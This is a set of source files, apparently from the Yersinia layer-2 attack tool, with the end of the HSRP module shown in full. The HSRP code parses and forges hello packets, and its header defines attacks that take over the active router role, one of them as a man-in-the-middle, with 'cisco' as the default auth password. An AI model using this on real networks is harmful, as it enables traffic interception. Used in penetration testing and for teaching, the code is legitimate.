libnet_ethernet_hdr *ether; struct hsrp_data *hsrp; u_char *hsrp_data, *ip_data, *udp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif hsrp = (struct hsrp_data *)values; ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); hsrp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ memcpy(hsrp->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(hsrp->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+12),4); hsrp->sip = ntohl(aux_long); #else hsrp->sip = ntohl(*(u_int32_t *)(ip_data+12)); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+16),4); hsrp->dip = ntohl(aux_long); #else hsrp->dip = ntohl(*(u_int32_t *)(ip_data+16)); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); hsrp->sport = ntohs(aux_short); #else hsrp->sport = ntohs(*(u_int16_t *)udp_data); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); hsrp->dport = ntohs(aux_short); #else hsrp->dport = ntohs(*(u_int16_t *)(udp_data+2)); #endif /* Version */ hsrp->version = *((u_char *)hsrp_data); /* Opcode */ hsrp->opcode = *((u_char *)hsrp_data+1); /* State */ hsrp->state = *((u_char *)hsrp_data+2); /* Hello time */ hsrp->hello_time = *((u_char *)hsrp_data+3); /* Hold time */ hsrp->hold_time = *((u_char *)hsrp_data+4); /* Priority */ hsrp->priority = *((u_char *)hsrp_data+5); /* Group */ hsrp->group = *((u_char *)hsrp_data+6); /* Reserved */ hsrp->reserved = *((u_char *)hsrp_data+7); /* Authdata */ memcpy(hsrp->authdata, (hsrp_data+8), HSRP_AUTHDATA_LENGTH); /* virtual ip */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(hsrp_data+16),4); hsrp->virtual_ip = ntohl(aux_long); #else hsrp->virtual_ip = ntohl(*(u_int32_t *)(hsrp_data+16)); #endif return 0; } int8_t hsrp_init_attribs( struct term_node *node ) { struct hsrp_data *hsrp_data; u_int32_t lbl32; hsrp_data = node->protocol[PROTO_HSRP].tmp_data; /* HSRP stuff */ hsrp_data->version = HSRP_DFL_VERSION; hsrp_data->opcode = HSRP_DFL_TYPE; hsrp_data->state = HSRP_DFL_STATE; hsrp_data->hello_time = HSRP_DFL_HELLO_TIME; hsrp_data->hold_time = HSRP_DFL_HOLD_TIME; hsrp_data->priority = HSRP_DFL_PRIORITY; hsrp_data->group = HSRP_DFL_GROUP; hsrp_data->reserved = HSRP_DFL_RESERVED; memset( (void *)hsrp_data->authdata, 0, HSRP_AUTHDATA_LENGTH ); if ( strlen( HSRP_DFL_AUTHDATA ) < HSRP_AUTHDATA_LENGTH ) memcpy( (void *)hsrp_data->authdata, (void *)HSRP_DFL_AUTHDATA, strlen( HSRP_DFL_AUTHDATA ) ); else memcpy( (void *)hsrp_data->authdata, (void *)HSRP_DFL_AUTHDATA, HSRP_AUTHDATA_LENGTH ); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&hsrp_data->virtual_ip, (void *) &lbl32, 4); hsrp_data->sport = HSRP_DFL_PORT; hsrp_data->dport = HSRP_DFL_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&hsrp_data->sip, (void *)&lbl32, sizeof(u_int32_t)); hsrp_data->dip = ntohl(inet_addr("224.0.0.2")); attack_gen_mac(hsrp_data->mac_source); hsrp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:5e:00:00:02",hsrp_data->mac_dest); return 0; } /* * Return formated strings of each HSRP field */ char ** hsrp_get_printable_packet(struct pcap_data *data) { struct libnet_ethernet_hdr *ether; char *hsrp_data, *udp_data, *ip_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_HSRP].nparams, protocols[PROTO_HSRP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (char *) (data->packet + LIBNET_ETH_H); udp_data = (char *) (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); hsrp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+12), 4); strncpy(field_values[HSRP_SIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16); #else strncpy(field_values[HSRP_SIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 12)) , LIBNET_DONT_RESOLVE), 16); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+16), 4); strncpy(field_values[HSRP_DIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16); #else strncpy(field_values[HSRP_DIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 16)), LIBNET_DONT_RESOLVE), 16); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); snprintf(field_values[HSRP_SPORT], 6, "%d", ntohs(aux_short)); #else snprintf(field_values[HSRP_SPORT], 6, "%d", ntohs(*(u_int16_t *)udp_data)); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); snprintf(field_values[HSRP_DPORT], 6, "%d", ntohs(aux_short)); #else snprintf(field_values[HSRP_DPORT], 6, "%d", ntohs(*(u_int16_t *)(udp_data+2))); #endif /* Version */ snprintf(field_values[HSRP_VER], 3, "%02X", *((u_char *)hsrp_data)); /* Opcode */ snprintf(field_values[HSRP_OPCODE], 3, "%02X", *((u_char *)hsrp_data+1)); /* State */ snprintf(field_values[HSRP_STATE], 3, "%02X", *((u_char *)hsrp_data+2)); /* Hello time */ snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", *((u_char *)hsrp_data+3)); /* Hold time */ snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", *((u_char *)hsrp_data+4)); /* Priority */ snprintf(field_values[HSRP_PRIORITY], 3, "%02X", *((u_char *)hsrp_data+5)); /* Group */ snprintf(field_values[HSRP_GROUP], 3, "%02X", *((u_char *)hsrp_data+6)); /* Reserved */ snprintf(field_values[HSRP_RESERVED], 3, "%02X", *((u_char *)hsrp_data+7)); /* Authdata */ strncpy(field_values[HSRP_AUTHDATA], (hsrp_data+8), HSRP_AUTHDATA_LENGTH); /* Virtual ip */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (hsrp_data+16), 4); strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE),16); #else strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4((*(u_int32_t *)(hsrp_data + 16)), LIBNET_DONT_RESOLVE), 16); #endif return (char **)field_values; } char ** hsrp_get_printable_store(struct term_node *node) { struct hsrp_data *hsrp; char **field_values; /* smac + dmac + sip + dip + sport + dport + ver + opcode + state + hello + * hold + priority + group + reserved + auth + vip + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_HSRP].nparams, protocols[PROTO_HSRP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) hsrp = protocols[PROTO_HSRP].default_values; else hsrp = (struct hsrp_data *) node->protocol[PROTO_HSRP].tmp_data; /* Source MAC */ snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", hsrp->mac_source[0], hsrp->mac_source[1], hsrp->mac_source[2], hsrp->mac_source[3], hsrp->mac_source[4], hsrp->mac_source[5]); /* Destination MAC */ snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", hsrp->mac_dest[0], hsrp->mac_dest[1], hsrp->mac_dest[2], hsrp->mac_dest[3], hsrp->mac_dest[4], hsrp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address(hsrp->sip , field_values[HSRP_SIP], 16); /* Destination IP */ parser_get_formated_inet_address(hsrp->dip , field_values[HSRP_DIP], 16); /* Source port */ snprintf(field_values[HSRP_SPORT], 6, "%05hd", hsrp->sport); /* Destination port */ snprintf(field_values[HSRP_DPORT], 6, "%05hd", hsrp->dport); /* Version */ snprintf(field_values[HSRP_VER], 3, "%02X", hsrp->version); /* Opcode */ snprintf(field_values[HSRP_OPCODE], 3, "%02X", hsrp->opcode); /* State */ snprintf(field_values[HSRP_STATE], 3, "%02X", hsrp->state); /* Hello time */ snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", hsrp->hello_time); /* Hold time */ snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", hsrp->hold_time); /* Priority */ snprintf(field_values[HSRP_PRIORITY], 3, "%02X", hsrp->priority); /* Group */ snprintf(field_values[HSRP_GROUP], 3, "%02X", hsrp->group); /* Reserved */ snprintf(field_values[HSRP_RESERVED], 3, "%02X", hsrp->reserved); /* Auth data */ strncpy(field_values[HSRP_AUTHDATA], hsrp->authdata, 8); /* Virtual IP */ parser_get_formated_inet_address(hsrp->virtual_ip , field_values[HSRP_VIRTUALIP], 16); return (char **)field_values; } int8_t hsrp_update_field(int8_t state, struct term_node *node, void *value) { struct hsrp_data *hsrp_data; u_int8_t len; if (node == NULL) hsrp_data = protocols[PROTO_HSRP].default_values; else hsrp_data = node->protocol[PROTO_HSRP].tmp_data; switch(state) { /* Source MAC */ case HSRP_SMAC: memcpy((void *)hsrp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case HSRP_DMAC: memcpy((void *)hsrp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case HSRP_VER: hsrp_data->version = *(u_int8_t *)value; break; /* Op */ case HSRP_OPCODE: hsrp_data->opcode = *(u_int8_t *)value; break; /* State */ case HSRP_STATE: hsrp_data->state = *(u_int8_t *)value; break; /* Hello time */ case HSRP_HELLO_TIME: hsrp_data->hello_time = *(u_int8_t *)value; break; /* Hold time */ case HSRP_HOLD_TIME: hsrp_data->hold_time = *(u_int8_t *)value; break; /* Priority */ case HSRP_PRIORITY: hsrp_data->priority = *(u_int8_t *)value; break; /* Group */ case HSRP_GROUP: hsrp_data->group = *(u_int8_t *)value; break; /* Reserved */ case HSRP_RESERVED: hsrp_data->reserved = *(u_int8_t *)value; break; /* Authdata */ case HSRP_AUTHDATA: len = strlen(value); strncpy( hsrp_data->authdata, value, (len > (HSRP_AUTHDATA_LENGTH-1)) ? (HSRP_AUTHDATA_LENGTH - 1) : len); break; /* Virtual IP */ case HSRP_VIRTUALIP: hsrp_data->virtual_ip = *(u_int32_t *)value; break; /* SPort */ case HSRP_SPORT: hsrp_data->sport = *(u_int16_t *)value; break; /* DPort */ case HSRP_DPORT: hsrp_data->dport = *(u_int16_t *)value; break; /* Source IP */ case HSRP_SIP: hsrp_data->sip = *(u_int32_t *)value; break; /* Destination IP */ case HSRP_DIP: hsrp_data->dip = *(u_int32_t *)value; break; default: break; } return 0; } int8_t hsrp_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/hsrp.h
/* hsrp.h * Definitions for Cisco Hot Standby Router Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __HSRP_H__ #define __HSRP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define HSRP_PACKET_SIZE 20 /* Version */ #define HSRP_VERSION 0x0 /* Opcode */ #define HSRP_TYPE_HELLO 0x0 #define HSRP_TYPE_COUP 0x1 #define HSRP_TYPE_RESIGN 0x2 /* State */ #define HSRP_STATE_INITIAL 0x0 #define HSRP_STATE_LEARN 0x1 #define HSRP_STATE_LISTEN 0x2 #define HSRP_STATE_SPEAK 0x4 #define HSRP_STATE_STANDBY 0x8 #define HSRP_STATE_ACTIVE 0x10 #define HSRP_AUTHDATA_LENGTH 8 /* * HSRP header * Static header size: 20 bytes */ struct hsrp_data { u_int8_t version; /* Version of the HSRP messages */ u_int8_t opcode; /* Type of message */ u_int8_t state; /* Current state of the router */ u_int8_t hello_time; /* Period in seconds between hello messages */ u_int8_t hold_time; /* Seconds that the current hello message is valid */ u_int8_t priority; /* Priority for the election proccess */ u_int8_t group; /* Standby group */ u_int8_t reserved; /* Reserved field */ char authdata[HSRP_AUTHDATA_LENGTH]; /* Password */ u_int32_t virtual_ip; /* Virtual IP address */ /* UDP Data */ u_int16_t sport; u_int16_t dport; /* IP Data */ u_int32_t sip; u_int32_t dip; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; /* Default values */ #define HSRP_DFL_VERSION HSRP_VERSION #define HSRP_DFL_TYPE HSRP_TYPE_HELLO #define HSRP_DFL_STATE HSRP_STATE_INITIAL #define HSRP_DFL_HELLO_TIME 3 #define HSRP_DFL_HOLD_TIME 10 #define HSRP_DFL_PRIORITY 0xFF #define HSRP_DFL_GROUP 0x00 #define HSRP_DFL_RESERVED 0x00 #define HSRP_DFL_AUTHDATA "cisco" #define HSRP_DFL_PORT 1985 static const struct tuple_type_desc hsrp_opcode[] = { { HSRP_TYPE_HELLO, "HELLO" }, { HSRP_TYPE_COUP, "COUP" }, { HSRP_TYPE_RESIGN, "RESIGN" }, { 0, NULL } }; static const struct tuple_type_desc hsrp_state[] = { { HSRP_STATE_INITIAL, "INITIAL" }, { HSRP_STATE_LEARN, "LEARN" }, { HSRP_STATE_LISTEN, "LISTEN" }, { HSRP_STATE_SPEAK, "SPEAK" }, { HSRP_STATE_STANDBY, "STANDBY" }, { HSRP_STATE_ACTIVE, "ACTIVE" }, { 0, NULL } }; static struct proto_features hsrp_features[] = { { F_UDP_PORT, HSRP_DFL_PORT }, { -1, 0 } }; #define HSRP_SMAC 0 #define HSRP_DMAC 1 #define HSRP_SIP 2 #define HSRP_DIP 3 #define HSRP_SPORT 4 #define HSRP_DPORT 5 #define HSRP_VER 6 #define HSRP_OPCODE 7 #define HSRP_STATE 8 #define HSRP_HELLO_TIME 9 #define HSRP_HOLD_TIME 10 #define HSRP_PRIORITY 11 #define HSRP_GROUP 12 #define HSRP_RESERVED 13 #define HSRP_AUTHDATA 14 #define HSRP_VIRTUALIP 15 /* Struct needed for using protocol fields within the network client */ struct commands_param hsrp_comm_params[] = { { HSRP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { HSRP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { HSRP_SIP, "ipsource", "SIP", 4, FIELD_IP, "Set source IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { HSRP_DIP, "ipdest", "DIP", 4, FIELD_IP, "Set destination IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { HSRP_SPORT, "sport", "SPort", 2, FIELD_DEC, "Set UDP source port", " <0-65535> UDP source port", 5, 2, 0, NULL, NULL }, { HSRP_DPORT, "dport", "DPort", 2, FIELD_DEC, "Set UDP destination port", " <0-65535> UDP destination port", 5, 2, 0, NULL, NULL }, { HSRP_VER, "version", "Version", 1, FIELD_HEX, "Set hsrp version", " <00-FF> hot standby router version", 2, 3, 0, NULL, NULL }, { HSRP_OPCODE, "opcode", "Opcode", 1, FIELD_HEX, "Set hsrp operation code", " <00-FF> hot standby router operation code", 2, 3, 0, NULL, hsrp_opcode }, { HSRP_STATE, "state", "State", 1, FIELD_HEX, "Set hsrp state", " <00-FF> hot standby router state", 2, 3, 0, NULL, hsrp_state }, { HSRP_HELLO_TIME, "hello", "Hello", 1, FIELD_HEX, "Set hsrp hello time", " <00-FF> HSRP group", 2, 3, 0, NULL, NULL }, { HSRP_HOLD_TIME, "hold", "Hold", 1, FIELD_HEX, "Set hsrp hold time", " <00-FF> HSRP group", 2, 3, 0, NULL, NULL }, { HSRP_PRIORITY, "priority", "Priority", 1, FIELD_HEX, "Set hsrp priority version", " <00-FF> hot standby router priority", 2, 3, 0, NULL, NULL }, { HSRP_GROUP, "group", "Group", 1, FIELD_DEC, "Set hsrp group", " <0-255> HSRP group", 3, 4, 0, NULL, NULL }, { HSRP_RESERVED, "reserved", "Reserved", 1, FIELD_HEX, "Set hsrp reserved", " <00-FF> hot standby router reserved", 2, 4, 0, NULL, NULL }, { HSRP_AUTHDATA, "password", "Auth", HSRP_AUTHDATA_LENGTH, FIELD_STR, "Set hsrp auth password", " WORD Auth password", HSRP_AUTHDATA_LENGTH, 4, 1, NULL, NULL }, { HSRP_VIRTUALIP, "ipvirtual", "VIP", 4, FIELD_IP, "Set virtual IP address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; /* true size + 1 extra element for '\0' */ struct hsrp_printable { /* HSRP and Ethernet fields*/ u_int8_t version[3]; u_int8_t opcode[3]; u_int8_t state[3]; u_int8_t hello_time[3]; u_int8_t hold_time[3]; u_int8_t priority[3]; u_int8_t group[3]; u_int8_t reserved[3]; u_int8_t authdata[9]; u_int8_t virtual_ip[16]; /* UDP Data */ u_int8_t sport[6]; u_int8_t dport[6]; /* IP Data */ u_int8_t sip[16]; u_int8_t dip[16]; /* Ethernet Data */ u_int8_t smac[18]; u_int8_t dmac[18]; }; /* Attacks */ #define HSRP_ATTACK_SEND_RAW 0 #define HSRP_ATTACK_BECOME_ACTIVE 1 #define HSRP_ATTACK_MITM_BECOME_ACTIVE 2 #define HSRP_SOURCE_IP 0 static struct attack_param hsrp_active_params[] = { { NULL, "Source IP", 4, FIELD_IP, 15, NULL }, }; void hsrp_th_send_raw(void *); void hsrp_th_send_raw_exit(struct attacks *); void hsrp_th_become_active(void *); void hsrp_th_become_active_exit(struct attacks *); static struct _attack_definition hsrp_attack[] = { { HSRP_ATTACK_SEND_RAW, "sending raw HSRP packet", NONDOS, SINGLE, hsrp_th_send_raw, NULL, 0 }, { HSRP_ATTACK_BECOME_ACTIVE, "becoming ACTIVE router", NONDOS, CONTINOUS, hsrp_th_become_active, hsrp_active_params, SIZE_ARRAY(hsrp_active_params) }, { HSRP_ATTACK_MITM_BECOME_ACTIVE, "becoming ACTIVE router (MITM)", NONDOS, CONTINOUS, hsrp_th_become_active, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void hsrp_register(void); void hsrp_send_hellos(void *); int8_t hsrp_send_packet(struct attacks *); char **hsrp_get_printable_packet(struct pcap_data *); char **hsrp_get_printable_store(struct term_node *); int8_t hsrp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *, struct pcap_data *); int8_t hsrp_load_values(struct pcap_data *, void *); int8_t hsrp_init_attribs(struct term_node *); int8_t hsrp_update_field(int8_t, struct term_node *, void *); int8_t hsrp_init_comms_struct(struct term_node *); int8_t hsrp_end(struct term_node *); extern void thread_libnet_error(char *, libnet_t *); extern int8_t parser_vrfy_bridge_id(char *, u_int8_t * ); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/interfaces.c
/* interfaces.c * Network interface utilities and main core for capturing packets * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_SYS_SOCKIO_H #include <sys/sockio.h> #endif #include <sys/ioctl.h> #ifdef HAVE_NET_IF_H #include <net/if.h> #endif #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #endif #ifdef HAVE_BPF #include <net/bpf.h> #endif #include "interfaces.h" list_t *interfaces; //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_pcap_addr( pcap_if_t *index, struct interface_data *iface_data ) { pcap_addr_t *pcap_addr; pcap_addr = index->addresses; while( pcap_addr ) { if ( pcap_addr->addr && ( ( pcap_addr->addr->sa_family == AF_INET ) || ( pcap_addr->addr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->addr->sa_family, (void *)&pcap_addr->addr->sa_data[2], iface_data->ipaddr, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->netmask && ( ( pcap_addr->netmask->sa_family == AF_INET ) || ( pcap_addr->netmask->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->netmask->sa_family, (void *)&pcap_addr->netmask->sa_data[2], iface_data->netmask, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->broadaddr && ( ( pcap_addr->broadaddr->sa_family == AF_INET ) || ( pcap_addr->broadaddr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->broadaddr->sa_family, (void *)&pcap_addr->broadaddr->sa_data[2], iface_data->broadcast, IPADDRSIZ ) ) thread_error( "inet_ntop error", errno ); } if ( pcap_addr->dstaddr && ( ( pcap_addr->dstaddr->sa_family == AF_INET ) || ( pcap_addr->dstaddr->sa_family == AF_INET6 ) ) ) { if ( ! inet_ntop( pcap_addr->dstaddr->sa_family, (void *)&pcap_addr->dstaddr->sa_data[2], iface_data->ptpaddr, IPADDRSIZ ) ) thread_error("inet_ntop error",errno); } pcap_addr = pcap_addr->next ; } return 0 ; } //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_pcap( struct interface_data *iface_data, pcap_if_t *index ) { char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *pcap_hnd ; int8_t ret = -1 ; if ( ( pcap_hnd = pcap_open_live( iface_data->ifname, SNAPLEN, 0, 0, errbuf ) ) ) { iface_data->iflink = pcap_datalink( pcap_hnd ); pcap_close( pcap_hnd ); if ( iface_data->iflink == DLT_EN10MB ) { strncpy( iface_data->iflink_name, pcap_datalink_val_to_name( iface_data->iflink ), PCAP_DESC ); strncpy( iface_data->iflink_desc, pcap_datalink_val_to_description( iface_data->iflink ), PCAP_DESC ); write_log( 0, "\n %s iflinkname %s\n", iface_data->ifname, iface_data->iflink_name ); write_log( 0, " %s iflinkdesc %s\n", iface_data->ifname, iface_data->iflink_desc ); interfaces_init_data_pcap_addr( index, iface_data ) ; if (tty_tmp->debug ) { write_log( 0," %s ip is %s\n",iface_data->ifname, iface_data->ipaddr); write_log( 0," %s mask is %s\n", iface_data->ifname, iface_data->netmask); write_log( 0," %s broadcast is %s\n", iface_data->ifname, iface_data->broadcast); write_log( 0," %s P-t-P is %s\n", iface_data->ifname, iface_data->ptpaddr ); } ret = 0 ; } } else { write_log( 0, "pcap_open_live failed: %s\n", errbuf ); } return ret; } //////////////////////////////////////////////////////////////////////////////////////////////////// int8_t interfaces_init_data_libnet( struct interface_data *interface ) { char errbuflibnet[LIBNET_ERRBUF_SIZE]; struct libnet_ether_addr *etheraddr; libnet_t *libnet_hnd; int8_t ret = -1 ; if ( ( libnet_hnd = libnet_init( LIBNET_LINK, interface->ifname, errbuflibnet ) ) ) { etheraddr = libnet_get_hwaddr( libnet_hnd ); if ( etheraddr ) { if ( memcmp( (void *)etheraddr, "\x0\x0\x0\x0\x0\x0", 6 ) ) memcpy( (void *)interface->etheraddr, (void *)etheraddr, ETHER_ADDR_LEN ); write_log( 0," %s MAC = %02x%02x.%02x%02x.%02x%02x\n", interface->ifname, etheraddr->ether_addr_octet[0], etheraddr->ether_addr_octet[1], etheraddr->ether_addr_octet[2], etheraddr->ether_addr_octet[3], etheraddr->ether_addr_octet[4], etheraddr->ether_addr_octet[5]); } libnet_destroy( libnet_hnd ); ret = 0; } else write_log( 0, "libnet_init failed on %s -> %s\n", interface->ifname, errbuflibnet ); return ret ; } //////////////////////////////////////////////////////////////////////////////////////////////////// /* * Initialize global interfaces list (interfaces). */ int8_t interfaces_init( THREAD *pcap_th ) { char errbuf[PCAP_ERRBUF_SIZE]; struct interface_data *iface_data = NULL; pcap_if_t *alldevs; pcap_if_t *index ; u_int16_t i, j; if (pcap_findalldevs(&alldevs, errbuf) == -1) { write_log(0,"interfaces_init pcap_findalldevs: %s\n", errbuf); return -1; } if (tty_tmp->debug) write_log(0,"\n interfaces_init start...\n"); if ((interfaces = (list_t *) calloc(1, sizeof(list_t))) == NULL) { write_log(0, "interfaces_init calloc interfaces\n"); return -1; } if (pthread_mutex_init(&interfaces->mutex, NULL) != 0) { thread_error("interfaces_init pthread_mutex_init interfaces->mutex", errno); free( interfaces ); interfaces = NULL ; return -1; } interfaces->cmp = interfaces_compare; index = (pcap_if_t *) alldevs; while( index ) { if ( ( strncmp( index->name, "any", strlen( index->name ) ) ) && ( index->flags != PCAP_IF_LOOPBACK ) ) { if ( ( iface_data = (struct interface_data *)calloc( 1, sizeof( struct interface_data ) ) ) ) { strncpy( iface_data->ifname, index->name, IFNAMSIZ ); write_log( 0, "Network Interface %s\n", index->name ); if ( interfaces_init_data_pcap( iface_data, index ) != -1 ) { if ( interfaces_init_data_libnet( iface_data ) != -1 ) { iface_data->up = 0; iface_data->pcap_handler = NULL; iface_data->pcap_file = 0; iface_data->libnet_handler = NULL; iface_data->users = 0; for ( j = 0; j < MAX_PROTOCOLS ; j++ ) { iface_data->packets[j] = 0 ; iface_data->packets_out[j] = 0 ; } interfaces->list = dlist_append( interfaces->list, (void *)iface_data ); } } } else { write_log( 0, "interfaces_init calloc iface_data\n" ); return -1; } } index = index->next; } /* free alldevs memory */ pcap_freealldevs(alldevs); packet_stats.global_counter.total_packets = 0; /* Initialize the packets queues...*/ for ( i = 0 ; i < MAX_PROTOCOLS ; i++ ) { queue[i].index = 0; if ( pthread_mutex_init(&queue[i].mutex, NULL) != 0) { thread_error("pthread_mutex_init",errno); return -1; } for ( j=0 ; j < MAX_QUEUE ; j++ ) { if ( ( queue[i].data[j].packet = (u_char *) calloc( 1, SNAPLEN ) ) == NULL ) return -1; if ( ( queue[i].data[j].header = (struct pcap_pkthdr *) calloc( 1, sizeof( struct pcap_pkthdr ) ) ) == NULL ) return -1; } } if ( thread_create( pcap_th, &interfaces_th_pcap_listen, (void *)pcap_th ) ) return -1; if (tty_tmp->debug) write_log(0,"\n interfaces_init finish...\n"); return 0; } /* * Enable a network interface in the global interfaces list * Return interface index or -1 on error. * Use global interfaces list (interfaces). */ int16_t interfaces_enable(char 